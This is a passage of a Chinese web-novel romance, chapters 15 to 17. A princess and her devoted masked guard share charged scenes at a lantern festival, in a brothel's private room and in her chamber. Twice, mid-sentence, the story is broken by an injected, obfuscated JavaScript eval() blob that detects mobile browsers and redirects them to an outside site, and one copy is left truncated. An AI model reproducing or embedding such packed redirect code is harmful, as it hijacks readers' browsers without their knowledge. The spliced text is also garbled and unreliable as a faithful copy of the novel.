她不自觉抚上心口,那里皮肤细嫩光滑,但伤口在看不见的地方,早已刻进灵魂骨血。 腐烂,溃败。 她会做噩梦,梦里被他用匕首一次次捅穿,她会睁着眼近乎自虐地回味这种感觉,直到天明。 蔺檀,我们俩的帐,慢慢算。 “姐姐,买支烟花吧。” 一道稚嫩的童声把谢郁棠从回忆中拉回,她循声低头看去,眼底的戾气还未散尽,手里端着烟花竹筒的男童下意识瑟缩了一步,再去看时只见对方一双眼睛如秋水剪瞳,刚才的狠戾好像只是他的错觉。 男童揉揉眼睛,又脆声声的问一遍:“姐姐,买烟花吗?” 谢郁棠轻衣简装,面上还戴了遮住半张脸的面纱,像是富贵人家出来游灯的小姐,所以他才跑过来问。 这小姐姐……也太好看了吧。 虽然只是一双眼睛,但他觉得这就是娘讲的故事里的仙子了。 谢郁棠看着男童手中的烟花,长睫轻轻一抖。 她曾经很想看一场烟花。 想看绚烂的烟花在夜空绽放,然后笑着倚在身旁人的肩上。 她求了一年又一年,也等了一年又一年,可蔺檀总也不来,他总有那么多的公务要忙。 过了很久谢郁棠才明白,蔺檀不是忙,只是他的时间不花在她身上罢了。 谢郁棠勾唇,俯身丢了些碎银在男童的托盘中,温声道:“烟花就不用了,早些回家吧。” 她给的钱,足够买好几筐烟花了。 男童懵懂地点点头,正要转身,突然听到前方一声惊呼。 “小心!” 街上人多拥挤,不知谁不小心撞到了推竹筒水车的小贩,足足高出半个人身的水车倾倒而下,直直向那男童砸去。 谢郁棠搂住男童,一个旋身,将他推了出去,自己也迅速后撤,虽不至于被倒下的水车砸中,但竹筒中兜头泼来的水却是躲不过了。 几十只竹筒的水倾巢而出,想不狼狈是不可能的,谢郁棠仓促中只来得及以袖遮面,紧闭双眼,做好了被泼一身的准备。 可预想中的水迟迟未到。 谢郁棠抬眼。 入眼的是一方素色油纸伞。 她顺着素净的伞面和笔直的伞柄一路看下来,目光最终停在一只干净纤长的手上。 这只手腕骨精致,内侧有微凸的筋。 谢郁棠呼吸一顿。 缓缓侧首。 苏戮就那样静静立于她身后,手中的伞保持着前倾的姿势,迎面泼来的水纷纷撞向伞面,发出类似于细雨敲窗的短促声响。 她在这声响中怔怔抬眸,听到自己说:“你的衣服湿了。” 15. 第 15 章 不只是衣服,苏戮的头发,脸颊也全都是水。 如锦缎的黑发丝丝缕缕贴上脸颊。 他的皮肤好白,像是山尖第一捧雪。 谢郁棠想起他被她刻意羞辱,被迫跪在武试场上捡她扔的剑。 雪该是高高在上的,不惹尘埃的,却为何坠了下来。 一次又一次。 苏戮的伞撑得恰到好处,那兜头泼来的水没有一丝一毫溅到她,可他自己却完完全全被暴露在外。 湿了个彻底。 从谢郁棠的角度看,他的长而密的睫毛像落雨的屋檐,忍不住便抬手去接那落下的水珠。 但他脸上戴着面具,原本该触到他面颊的她的指尖只是触到了面具,两个人都是一怔。 谢郁棠不动声色的收手:“怎么把自己弄的这么狼狈。” 他立即驯顺地低头:“是属下的错。” “你哪里有错了。”谢郁棠的声音很轻,“总是把你搞得这么狼狈的人,是我。” 她说的不单单是湿身一事。 苏戮握伞的手指轻轻摩挲一下伞柄,明明被碰到的是面具,面具下的脸颊却开始隐隐发烫。 他有些不知道该说什么,只能微微侧过脸,小心地将那柄素色纸伞收好,伞面上都是水,收伞的时候他手腕很克制的发力,没有让一滴水渐到谢郁棠身上。 谢郁棠的目光却看向他新湿透的袖口。 她费尽手段把蔺檀支走,又提前让怀瑾传书给苏戮,就是想在今晚见一见他。 她告诉自己,是因为白日里在武试场上将人折辱的太狠了,所以要见上这一面,确保他的忠诚。 但谢郁棠分明知道,自己心中的戾气和暴虐在见到他的一瞬间诡异的有所平复。 人总是会为确定的东西感到心安。 而苏戮总是能恰到好处的给她这种确切的掌控感。 他的每一个行动,每一个眼神,甚至每一个呼吸,都在把自己驯顺地置于她的掌控之下。 于是她被很好地抚平了。 谢郁棠说:“你需要换身衣服。” 不能让她的侍卫为她挡水还要穿湿透的衣服。 可侍卫难得的犹疑起来:“……这里似乎,没有能换衣服的地方。” 的确。 能换衣服的地方都打样了,甚至连老板、裁缝、伙计都在这街上同家人一起赏灯游园,还开着的除了酒楼茶肆,就只有—— 南风阁。 老鸨见多识广,就算眼前这位公子戴着面具,也一眼就能看出——尤物,顶尖的尤物。 而且对方衣衫尽湿,宽肩薄背线条尽显,尤其是那一截窄腰—— 啪。 老鸨在心中给了自己一巴掌。 冷静。 我是老鸨,不是嫖客。 果然,阁中上下三层,在他踏门进来的一瞬间,尽数寂静。 如果目光有实质,这位衣衫尽湿的公子怕是早就被看成筛子了。 说是公子,其实是介于少年和男人之间的气质,像山尖上的第一捧雪,干净,凛冽,将熟未熟,让人想,用最下做的手段……弄脏。 “小美人,跟爷走,不管多少钱,爷都……” 一个满肚肥肠的大汉迫不及待地想揽这一抹雪色入怀,手还没碰到对方的腰,便痛呼着甩起了手。 四下微妙地一静。 这是什么地方,小倌馆。 身上湿成这样来这种地方,还装矜持。 挺辣。 四下的目光越发肆无忌惮起来。 “不长眼的东西,本……我的人,你也敢碰?” 众人这才注意到,这尤物身旁还有一位年轻女子,那女子也戴着面纱,说着这话,伸手一揽,便轻而易举地将那大汉碰都碰不得的细腰揽入怀中。 老鸨连忙上前几步,赔着笑:“姑娘,咱们这里是小倌馆,您怕不是来错了地方?” 谢郁棠恍若未闻,径直往三楼走:“最好的厢房我包了,不许任何人进来打扰。” “还有,拿一套干净的男子衣服。” 谢郁棠这一搂,便搂出了四面八方的心思。 凭什么她搂得,爷就搂不得? 一个蠢蠢欲动的男人刚伸了个手,就惨叫着被卸了胳膊滚到在地。 四下又是一静。 那尤物还被戴面纱的姑娘搂在怀中,没人能看清他是如何出手的。 众人这才明白过来,第一个男人他是留了情的,可再有不识趣的,他就不客气了。 一时间,纵然都觊觎这绝色,可无人再敢上前。 老鸨还欲再拦,尤物长手一伸,递了银子过来。 老鸨在接银子的间隙同对方对了一眼,不禁打了个寒颤—— 来这里的不乏达官显贵,就算是她见过的京城最大的官,都没这随意的一瞥更让她胆战心惊。 “本来是想低调行事的……”谢郁棠在屋内榻上坐下,托着腮,似笑非笑地看着眼前人,轻轻啧了一声,似是有些烦恼,“到了哪儿都这么招人。” 方才的场面她不是没预料到,只是——有男人穿的衣服,有地方换衣服,并且现在还未打烊的——也就只有这“南风阁”了。 “还好这张脸给遮住了,不然更麻烦。” 谢郁棠朝他苏戮勾手,看着她的侍卫一步步走到她面前,膝盖很轻地触地,安静地在她面前跪坐下来。 她不满他坐的距离。 “近一点。” 苏戮抿了抿唇,斟酌着往前膝行了一点点,那距离跟没动差不多。 谢郁棠不快地眯眼。 “属下身上都是水,怕沾染了主——” 谢郁棠不等他说完,直接倾身,伸手一勾,手指稳稳卡上线条完美的下颌。 她之前还嫌这面具碍眼,不过现在—— “也对,这么好看的脸,不能让别人看了。” 苏戮在她触到自己的瞬间便噤了声,下巴被她掐在手里丝毫不敢动弹,只有垂下的长睫颤了颤:“……属下可以以后都带着面具。” 这话说的。 谢郁棠笑了。 他果然很懂得怎么满足她的掌控欲。 “那可不行,这么好看的脸遮住了,本宫看什么?再说了——” 谢郁棠一手固定住人的下巴,另一只手去揭他的面具,享受那张完美的脸在自己手下一点点展露的感觉。 “本宫身边有这么好看的人,当然要拿出来炫耀。别人嫉妒本宫又奈何不了本宫,才最令人畅快。” 这算不上什么好话,少年却似并不介意,只垂着的长睫颤了几下。 谢郁棠将他的脸像物件儿一般把玩凝视,他也全都依他。 谢郁棠就喜欢这副样子,依照她的性格是一定要再逗弄几句的,但他今日表现实在太好,她不想太过恶劣。 矮桌上的轻薄罩衫叠得齐齐整整,是方才老鸨亲自送来的,说这是新做好的成衣,只洗过一次,未曾被人穿过。 谢郁棠手了手,从怀中掏出玉肌膏放在矮几上:“这东西你收着,日后有伤处就自己涂。” 但凡上了武试台,想毫发无损的下来是不可能的,就算武功强如苏戮,身上也必然是落了些伤的。 少年的目光在那瓶药上静静停了片刻,眼底的光晃了晃:“主人是……专为我带的药?” “当然,巡防营的药哪比得上这个。” 谢郁棠笑了笑,便要起身到屏风后面,却被拉住衣袖。 苏戮的眼神很静,自下往上仰望着她,少年削薄的唇抿了抿,似是对要说的话有些羞涩:“……主人可要为我涂药?” …… 虽然早就不是第一次见,但谢郁棠不得不感叹,这具身体的的确确有让南风阁三层楼的客人都见色起意的资本。 她指尖挑了些药膏,涂在他背上的伤处。 指下的肌肉很小幅度的颤抖一下。 “疼?” “……不是。” 谢郁棠又去涂他腰上的淤青。 她指尖触碰上皮肤的瞬间,那一截窄腰几乎绷成一张满弓。 “伤得很重?” “……不是。” 这下连嗓音都有点哑了。 谢郁棠想到从跑马地将这少年牵回来时,她给他涂药,他也是这样,碰一下就浑身紧绷,从脖子红到耳根。 应该是很敏感的身体。 怕痛,但不承认。 谢郁棠想,她的侍卫虽然不好意思承认怕痛,但在别的地方都很坦诚,她不需要再像上次那样故意摁在他的伤处迫他承认什么。 于是谢郁棠更加放轻了指尖的力道,甚至还很轻的往伤处吹气。 她自觉待他尽心尽力,涂完药膏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633618|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,少年脸上的表情却看得她一怔。 他眼尾是红的,鼻尖是红的,原本削薄的唇硬是给他咬的快出了血,耳根和脖颈就更不用说,额头上覆着一层细密的薄汗,整个人就像是……像是刚刚跋涉了几千里的山川洪流。 “你……这么敏感的吗?” 谢郁棠瞧他半晌,竟有些讷讷。 这也太怕痛了吧。 她明明已经很轻了啊。 他这样子,又是在这种地方,让旁人看了怕不是要以为…… 谢郁棠谨慎的举起双手:“这可是你让我涂的啊。” 大概是太令人难堪,一向礼数周全挑不出一丝错处的少年,干脆自暴自弃地把脸埋进胳膊里,声音很小:“与主人无关,是……属下的错。” 尾音还有些颤。 少年缓了一会,终于伸出修长的手指,勾过矮几上的衣服。 小倌的衣服到底是和寻常男子不同,腰细勾勒的十分涩情,薄纱面料半透不透,孤高无尘的山尖雪笼了轻烟。 那可是山尖雪啊,是在边陲战场上杀了个七进七出从无败绩的杀神将军,是以一己之力单挑巡防营几十名高手举重若轻的小慕清王,世人有谁知他竟会有如此柔软到近乎破碎的样子。 他将自己不设防地摊开给她看。 “……主人?” 谢郁棠太久没有给出反应或指令,苏戮只好重新屈膝跪坐在她身前。 他好不容易把自己从狼狈的境地中拾辍回来,眼神还有些无处安放,却发现谢郁棠笼在袖中的手指在把玩着一串金色细链。 少年的呼吸微微一顿。 方才的一切都是他自找的,他只恨自己太过贪心,以至于将自己陷入那般不体面的境地,好不容易爬了出来,这细链却又兜头一个闷棍将他打回坑中。 谢郁棠忽然不想再做个好人:“握瑜说,就算我把你绑起来上了,你也不会有一根手指反抗,真的假的?” 她这虎狼之词问得猝不及防。 苏戮喉结动了动,却终究没能说出一句反驳的话。 “本宫现在对你做的,应该已经完全超出对侍卫能做的范畴了吧?为什么不反抗?” …… “说话。” 少年微微侧过脸:“属下说过,属下整个人都是您的,主人可以做……任何想做的事。” “包括……要你的命?” 谢郁棠双眼微眯,突然掐上他的脖颈。 那么细一截,脉搏在她的掌下跳动,速度明明快得很,掌下的人却一动不动,甚至还抬高了下巴,将脆弱的咽喉更多的暴露给她。 “你在害怕。” “……没有。” “那这里为什么在颤?” 谢郁棠看着他的睫毛。 少年闭了下眼,喉结滑动:“是……在怕。” 怕她每靠近一分,怕她每一寸触碰,甚至……怕她看他。 不知是不是街上淋的水未拭净的缘故,长而浓的睫毛还有些水汽。 谢郁棠虽然行事恶劣,却也很少会将人逼到这种地步,之所以如此,是因为她也在经历着不为人知的犹疑和拉扯。 万蚁蚀心之毒,利刃穿心之痛,她不敢忘,不能忘。 明知要走的是一条千刀万剐之路…… 谢郁棠手下用力。 既然容不得背叛,不如就不给他背叛的机会。 掌下人的呼吸逐渐困难,从未挣扎过半分的手指缓缓抬了抬,谢郁棠以为他要挣扎,却发现另一只衣袖的袖袍被很轻的拽了拽。 她不解垂眸。 少年细长的指节勾了勾,将那条金色细链从她手中勾了出来,然后,一圈一圈绕在了她扼住他脖颈的手腕上。 谢郁棠动作一顿。 那金色的细链被他以一种及虔诚的姿态绕在她瓷白的腕间,像是某种无言却郑重的誓言。 谢郁棠长睫一抖,眼前落下一片纷纷扬扬的雪。 跑马地上,少年在她面前直直跪下,玉色的脖颈上锁着染血的金链,双手掌心相托的,是金链的另一头。 这誓言,她懂。 ——我不会走,我会永远在您身边。系在我脖子上的链子永远在您手中,您永远拥有对我绝对的支配权,随时,随地,如果我有一根手指反抗,您就拧断我的脖子。 扼住少年脖颈的手骤然一松。 16. 第 16 章 谢郁棠垂眸,目光从腕间的细链缓缓移到驯顺跪坐的少年。 他太符合自己的口味,无论是长相还是性格。 方才涂药时少年削薄的肩背,紧绷的下颌,还有微红的耳根,实在是太美的景色。 哪哪都长在她的审美点上。 指尖在金色细链上一抚,转而掐住少年的下颌,迫他抬起头来。 “这可是你自己选的。” 不要后悔。 苏戮长而浓的睫毛颤了颤,他知道这个姿势下自己任何一个微小的表情都无法逃过对方的审视,可他依然不做任何挣扎地将自己全然交付。 他知道谢郁棠的意思——既然选择跟随,就意味着心甘情愿被掌控。 是他自己选的。 他不后悔。 进来上菜的老鸨倒是个有眼色的,将东西搁下径直便退了下去,一句话不多问,一眼不多看。 屋里除了谢郁棠和苏戮,再无第三人。 谢郁棠看着少年修长的指骨提着茶壶为她斟茶,又一一将菜品和甜点盛在白瓷骨碟中放在她面前,就连筷子的摆放都颇合她的意。 无一处不细节。 甚至比怀瑾和握瑜更了解她的喜好。 谢郁棠盯着他看的眼神实在太过直白,苏戮布菜的手腕顿了一下,将筷子整齐地搁在瓷枕上,缓缓抬眼。 是一个毫不逾矩的询问眼神。 “没什么。” 谢郁棠端起案几上的茶盏,“就是突然想起,苏世子也是世子,本该是被人伺候惯的……怎么这伺候人的活计反倒这般擅长?” 这话算不上好听,就是脾气再好的人也该有几分薄怒,但苏戮只是平静的笑了一下,举重若轻:“就当是主人在夸我了。” 实在是很会说话。 谢郁棠不动神色地饮茶,垂着的眼睛眯了一下。 如果是上一世的自己,怕是早已对这少年全心信任,但现在的她,早已不是那个会轻易相信别人,依赖别人的深宫公主。 她至今不懂苏戮的忠诚从何而来,又为何如此笃定和坦然,如果这是装的,也实在是装得太好。但既然是他自己将链子交到她的手中的,她也不介意多一把好用的刀,抑或,一条听话的狗。 苏戮伺候起人来,当真是谁也比不过的周到熨帖,壶里的茶水冷了,在谢郁棠开口前那双好看的手已然握住了茶壶柄,手的主人端然起身:“我去温茶。” 苏戮离开的时间比温好一壶茶所应该用的时间更久一些。 谢郁棠倒是不担心有人因为色相为难他,抑或是他背着自己搞什么小九九——她虽不再轻易信任,但也不是乱疑之人,在下属做出实质性的背叛举动之前,她愿意也敢于给予空间。 谢郁棠很有耐心地自己赏月斟酒。 南风阁最好的厢房,景色自然也是一绝,矮几特意依窗而放,一抬眼便能看到鼓楼繁华的街市和很美的夜色。 苏戮回来的时候不仅带着温好的茶,手中还托着一只白瓷骨碟。 谢郁棠的视线在碟中码着的玉兔糕上停顿片刻。 这似乎能很好的解释他晚归的原由。 苏戮将茶壶放下,将她面前一只摆着甜点的碟子撤下,换上他新端来的玉兔糕。 谢郁棠眉梢一挑。 他撤走的正是不合她口味的那道甜点。 谢郁棠向来嘴挑,味道浓了淡了轻了重了她都不喜,那碟甜点太过甜腻,她吃的时候却是不动声色——只要她想,连从小将她带大的吴嬷嬷都未必能发现。 谢郁棠涂着丹蔻的指尖在那骨碟边沿敲了敲。 “苏世子如此聪慧,应当懂得有时候也许藏拙会更好?” 没有上位者会放心留一个能把自己看透的奴才在身边。 这话是提点亦是警醒。 苏戮驯顺的垂着眼,却下颌微抬,将自己放在一个能随时被谢郁棠看清脸上表情的角度。 ——当真如他所言那般,完全将自己交付,心甘情愿被掌控。 “会在主上面前藏拙,是因为有所留。戮无所留,所以不怕。” 谢郁棠指尖一顿。 好一个无所留。 她勾唇一笑,拾起瓷枕上的筷子夹了一只玉兔糕,入口清甜,糯而不腻,的的确确是她的口味。 “今日你在武试场上做的那出戏,本宫很满意。” 谢郁棠不吝夸奖:“你跪地捡剑的那副虔诚模样,差点连我都骗过了。” 她几乎有一瞬以为他跪的是神明。 ——对她这个给予羞辱之人。 少年轻轻侧了脸。 他的确有演,只是演的不是虔诚罢了。 苏戮勾了下唇,并未解释,算是默认。 谢郁棠盯着他的脸,微微挑眉,正要追问,耳边忽然划过一道迅疾的锐响,扭头看去,窗外无边的夜色中,正徐徐炸开一朵烟花。 她一怔。 更多的烟花相继炸开,在浓墨的夜中开得绚灿之极,前仆后继。 任谁都知道,这是一场盛大的告白。 谢郁棠被这璀璨吸引了注意,到了嘴边的问题便也淡去了。 并不是什么关系重大的要事,他不想说,便不说吧。 夜空的烟花让谢郁棠有一瞬的恍惚。 曾经的她,非常非常渴望,这样一场烟花。 有一年灯会,她甚至自己买来烟花,做好布置,可蔺檀却因为临时的紧急公务,没来得及见她一面,就匆匆回了宫。 男子为心仪的女子在灯会节点燃烟花,是大兖的风俗,只是烟花昂贵,就算是前世的谢郁棠也没有买很多,可今晚的烟花如此盛大,如此长久,长久得好像永远不会落幕。 “不知是哪家公子,好大的手笔。” 七彩的光映在谢郁棠侧脸,勾勒出极美的光影,她蓦地一笑,摇头道,“那位小姐看了,一定很开心。” 身旁的少年很轻的问:“主人开心吗?” 若谢郁棠此时回头,就会发现自己正被这少年注视着。 他的目光比往常更柔和更沉静,还有某种非常深切的情感,无论是谁,只要看上一眼,都会立即明白那种情感。 但谢郁棠没有回头。 苏戮知道她不会回头,所以才第一次,十分小心,且克制地放任自己这样的目光。 “当然,”谢郁棠笑得漫不经心,“我也开心。” 放给别人看的烟花,她看到了,不仅看了,还是在最好的位置看。 她甚至替那位公子遗憾,没有早些定下这间厢房——再不会有比她这个位置更适合看烟花的地方了。 最后一只烟花燃尽,谢郁棠的目光还流连着夜色,不知在想些什么。苏戮切水果的手微微一顿,若有所觉的看向窗外。 他的目光和楼下的蔺檀对上。 郭妍儿想看烟花,拉着蔺檀一起,这里是最佳的观赏位,他们会寻到这里并不奇怪。 像是有默契般,两人的目光短短一触,便立即分开。 蔺檀被郭妍儿拉着往前走,苏戮波澜不惊地将切好的蜜瓜一块块码在瓷碟中,搁到谢郁棠面前。 “主人。” 他蓦地出声。 谢郁棠收回看向窗外的目光,以眼神询问。 苏戮抬手,谢郁棠一怔。 这是犯上,是放肆。 她应该怒斥或干脆将他的手拍开,可她什么都没做,一点点看着他的手靠近,几乎要贴上她的脸颊。 可也只是几乎。 少年的手指很克制的停住。 她甚至能闻到来自他指尖的山尖雪的气息,清冽的冷意中犹浸着蜜瓜的甜。 “您发间落了片花瓣。” 他的指尖只是指了指,连那花瓣的一角都没碰到。 谢郁棠眨了下眼,慢慢抬手,将花瓣从发间扯了下来。 鼓楼大街繁华如织,又正值初夏,飘落的花瓣被风扬起,吹到了她头上。 谢郁棠向窗外摊开手掌,淡粉的花瓣悠悠扬扬打着旋飘落。 “你的手抖什么?” 苏戮稍稍一愣。 “刚刚,你的手在抖什么?” 谢郁棠玩心忽起,凭什么他可以总是静淡沉定,她也学着方才的样子,抬手贴上他脸颊,然后在几乎要触到皮肤的瞬间堪堪停住。 苏戮说不上自己此时该是什么心情,明明是为了引开谢郁棠的注意,可是现在,他好像太成功了点…… 只是涂着丹蔻的手指,却比最锋利的剑还厉害,在边陲战场上杀了个七进七出的小慕清王如临大敌,身体肉眼可见的寸寸紧绷。 他下意识想后移,却被谢郁棠一句“不许动”生生钉在原地。 “你是本宫的侍卫,手动不动就抖还怎么握剑,怎么保护本宫?” …… “要多练,明白吗?” …… 谢郁棠每说一句,指尖就微妙的移动一下,从他的脸颊,到眉心,堪堪划过睫毛。 “一只手在你跟前晃晃就受不了,就这点儿定力?” 惊才绝艳的小慕清王,说什么也想不到,有朝一日他会因为睫毛被说定力不够。 他吸了口气,努力忽视那只贴着自己眼皮乱晃的手:“……主人教训的是。” 谢郁棠笑得头上的银钗都在颤。 这么可爱的少年,现在表面上是被她厌弃,被迫投靠巍咸西,还被她这个前主人在武试上当众羞辱的丧家之犬,暗地里却依着她这般玩闹。 实在是有种……像偷情一样的刺激。 谢郁棠又逗弄了好一会,不知怎么就想起来握瑜的那句——“咱们就把苏世子锁到床上,任你想怎么玩就怎么玩,怎么样?” 锁到。 床上。 谢郁棠的视线下意识看向苏戮的手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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初夏时节,刚想掏出扇子给小姐扇风的怀瑾看了看苏戮,再看看谢郁棠,不确定地放下了手。 苏戮将自己扣在桌上的面具递过去:“有劳怀瑾姑娘了。” 这点就连怀瑾都衷心叹服。 怎么说也是慕清王府的世子,可苏世子就连对着她们这些侍女和嬷嬷都从来不拿半分架子,仿佛真的只是谢郁棠的一个普通的侍卫。 怀瑾选择就冷热问题闭嘴,礼数周全的回了礼,将面具戴到自己脸上。 她这一身装扮,忽略和苏戮身高上的差距,几乎已经看不出什么差别。 苏戮实在恢复得太快,谢郁棠临出门前还是没忍住又逗他,上上下下将被小倌服勾勒出身量线条的少年打量一番:“世子还是换上原先给你准备的衣服吧,这一身……穿给我看就行了。” * 老鸨进来时,屋里的小姐不见了,只剩下那少年一人,一身普通的青杉,却被他穿出清贵隽逸,同山尖雪那般孤高无尘。 老鸨震了一会才恍惚回神,认出他就是方才戴着面具的少年。 虽然早有料想面具下的脸绝非凡品,但就连见惯人间绝色的老鸨,都从未如此确切的体会过什么是“尤物”和“绝色”。 这世上……竟还有这般好看的人吗? 只是看上一眼都觉得惊心动魄。 怔愣间,这少年一眼看来,老鸨顿时像被雪浇了一头,扑面而来的冷意让她瞬间清醒,忙收了眼神,躬身谄媚地笑:“公子,您吩咐小的们点的烟花一共九百九十九响,全给您放齐了,您看可还满意?” 年轻的公子想必是很满意的,耳后薄粉都未褪全,这衣服也是换过一遍又一遍,想必方才在这屋里……激烈得很。 啧,也不知那姑娘到底是什么来头,竟能有这样的男宠。 不对。 这少年买那么多烟花,出手极是阔绰,再看这气度长相,哪里是需要放烟花讨主子欢心的那种……男宠? 想到这里,老鸨喜笑颜开,下意识就开始奉承:“公子同小姐可真是般配非常,神仙眷侣,不知是哪家小姐竟如此大的福分,能得公子……” 剩下的话噎在喉中,老鸨脖子上架着一把短刀。 少年冷冷道:“这样的话以后不要再说。” …… “今晚——” “一切都没有发生!” 老鸨抖如筛糠,再也不敢妄加揣测,“小人就是一时兴起,想放烟花,这厢房一晚上都是空的,没人来过。” 脖子上的冷意终于消了。 老鸨吞了口口水,还没来得及松一口气,又是一个东西兜头抛来,老鸨吓得连连后退,定睛一看,只见前方地毯上躺着一小袋银子。 屋内早已不见少年的身影。 17. 第 17 章 那日从灯会节回来,谢郁棠依旧同往常一般上午去学堂听讲学,下午在跑马地练骑射,于骑射一道她本就天赋出众,像上一世那般拘着自己后更是突飞猛进,不过这些时日下来,学堂中已无人是她对手。 谢郁棠从学堂回来,用完晚膳后又在内院中练了一个时辰,此时刚刚沐浴完,由吴嬷嬷伺候着擦干了头发,正要再就明日的经学政论做些功课。 刚将书本掀开一页,一道微风轻轻吹拂了她发稍一角,谢郁棠猛的侧目,与此同时,桌上的茶碗以破空之势向身后飞去。 “谁?!” 谢郁棠日日修习功法,内力亦是突飞猛进,就算是巡防营的高手也未必能轻松接下她这盏茶,可对方只是虚影一晃,茶盏撞到床沿一角应声而碎。 谢郁棠心下一凝。 能躲过公主府的层层守卫,在怀瑾握瑜眼下神不知鬼不觉地潜进自己房间,还能干净的躲开自己这一击,此人绝对来头不小。 她抓起桌上刚卸下的金簪,旋身朝那人攻去。 本已做好了恶战的准备,可谁知那人竟分毫不躲,只是以防御的姿态隔开了她灌满内力的两掌,便任由她抓住自己的手腕,一扯一拧,被谢郁棠以手肘向后的姿态压在墙上。 强敌在前,谢郁棠每一招都是奔着要害去的,一手将人手腕压后,另一手的金簪已经捅向对方最脆弱的咽喉。 案上的烛火忽地爆了个灯花,照亮了这人的脸。 谢郁棠一怔,反应过来后连忙收力,可攥着金簪的手早已灌满内力,硬生生的急刹车也只来得及堪堪错过致命部位,还是在那人锁骨上划出一道狰狞的伤。 薄薄一片细瓷般的皮肤上顿时渗出鲜血。 谢郁棠盯着那伤口看了片刻,被气笑:“就不知道躲?要是我刚刚没收住手,现在就可以叫慕清王府来收尸了。” 苏戮毫不反抗地保持着被压在墙上的姿势,脸颊贴着墙面,还笑得出来:“我是主人的,就算死了,不也该是您来收尸么。” 过长的睫毛眨了一下,他幽幽问:“还是说——主人不愿给我收尸?” …… 这都哪跟哪。 她命苏戮调查军械库失窃一案,他不是贸然行事的人,深夜前来,想必只有一个原因——他已探得重要情报。 谢郁棠放开他,皙白的掌心朝上,停在少年面前:“药呢?” 那是在南风阁她特地给了苏戮一瓶玉肌膏,也不知道他带了没带。 谢郁棠目光在苏戮锁骨处一停,默了一瞬,没想到这么快就用上了,而且这伤还是拜她所赐。 少年怔了一下才反应过来,垂眸扫了眼自己往外渗血的伤口。 口口声声说自己是她的狗,是她的刀,可她这个做主人的第一件事不是问自己找到的线索,而是要给他上药。 虽然知道这只是宁安公主收买人心的手段,但心还是不可抑制地狠狠一缩。 苏戮垂眸,轻轻吸了口气,有些自暴自弃:“您真的不必这样。” 就别再撩了。 谢郁棠眉梢一挑,正要开口,门外响起握瑜紧张的声音:“小姐,你还好吗?” 方才她摔了茶盏,动静不小,怀瑾和握瑜必然是听到了。 这个问题其实很好回答。 她很轻易就能将人打发了,但是谢郁棠看着坐在自己面前,衣领因为她方才的动作而微微敞开,锁骨上一道触目惊心的伤的少年,到了嘴边的话忽然就迟疑了。 就是这片刻的迟疑,已经足够让屋外的下属确信她出了状况。 两人对视一眼,怀瑾后退一步,握瑜单手提剑,抬脚冲那雕花木门狠狠一踹。 “砰——” 门栓应声而断,大门敞开。 怀瑾握瑜和一众侍卫摆出迎敌的架势冲进屋中,却在看清状况后呆愣当场。 只见她们的小姐撑在榻上,身下压着一个……少年? 那少年像是只落入陷阱的鹿,被囚于床板和身上人之间,只有一截手腕露在床外,毫无反抗之力。 谢郁棠从那少年身上抬眸,眯着眼将众人扫视一遍,停在打头的握瑜身上,似笑非笑:“你们一个个真是出息了,连本宫的门都敢踹。” 怀瑾立马双手抱剑,低头认错:“是属下逾越,请小姐责罚。只是小姐现在正……忙,属下明早再向小姐请罪!” 说完欲盖弥彰地咳嗽一声,拉着握瑜衣袖将人拽着,走前还不忘把门关上。 直到两扇门合严了,外头的脚步声也都彻底消失,谢郁棠才撑起手臂。 ——其实怀瑾握瑜都是她的心腹,苏戮在她房里的事儿她没必要隐瞒,但不知怎么回事,在那一瞬间,谢郁棠想起的是放在马车里的那些奇奇怪怪的画本,还有那句“把苏世子锁到床上”之类的虎狼之词。 ——她瞬间就不想让那两个八卦精知道了。 谢郁棠这边弯弯绕绕地计较着,根本没意识到自己贴苏戮贴得有多近。 事出突然,她情急之下一把将人扔到床上,紧跟着自己就压了上去,虽然知道无论做什么对方大抵都是不会反抗的,但她为了不让苏戮的脸被看到,上半身几乎压低到贴了上去。 …… 苏戮只能偏过头去,徒劳地试图减少谢郁棠的气息,可气息无处不在。 她的发丝贴着他的脸,她的身体与他相贴,属于少女的曼妙曲线,在最突出之处卡住他的脖颈,他只要微微抬眼,就能看到里衣领口上金海棠的绣线,再稍偏下头,鼻尖就能擦到她隆起的胸膛…… 海棠放肆又无知,山尖雪摇摇欲坠,仿佛置身于琴弦之上,每一丝颤抖都让雪簌簌下落。 苏戮不敢偏头,亦不敢抬眼,最后连呼吸都停了,想挣扎,双手还被攥住,简直比受刑还让人崩溃。 谢郁棠还在思索明日该如何解释床上突然多出来的“男宠”,只觉手里被攥住的手腕轻轻抬了一下,她垂眸,终于发现身下那条快要憋死的鱼,鱼喉结滑动,细若蚊声:“……主人。” 谢郁棠眨了眨眼,慢半拍地意识到什么,松开手,从床上起了身。 她咳了一声,又觉得自己这一声咳特别像强辱了良家子又不想认账的地痞流氓。 “……本宫是怕人多口杂,传出去于你潜伏不利。” 苏戮也不知道有没有在听她说什么,过了好一会才慢慢从床上起身,整了整被扯得领口大开的衣衫,低着头“嗯”了一声。 …… 谢郁棠觉得自己更像地痞流氓了。 她当着苏戮的面打开床头的暗格,拿出一瓶玉肌膏,这玩意儿虽说她交代过让刘御医多配了几瓶,但毕竟药材昂贵,走的又是公主府私账,不能太明目张胆,是以除了送给苏戮的那瓶,她也就只有这一瓶了。 “拿去。” 苏戮过了一会才抬手接过,谢郁棠注意到他连指尖都是红的。 真是瓷器一样的精致。 这种人是怎么能在边陲战场上杀了个七进七出从无败绩,年纪轻轻就成了让胡人闻风丧胆的杀神将军的? 谢郁棠在这种巨大的割裂感中瞄了一眼他锁骨上的伤,虽然不深,但是长长一道口子,触目惊心。 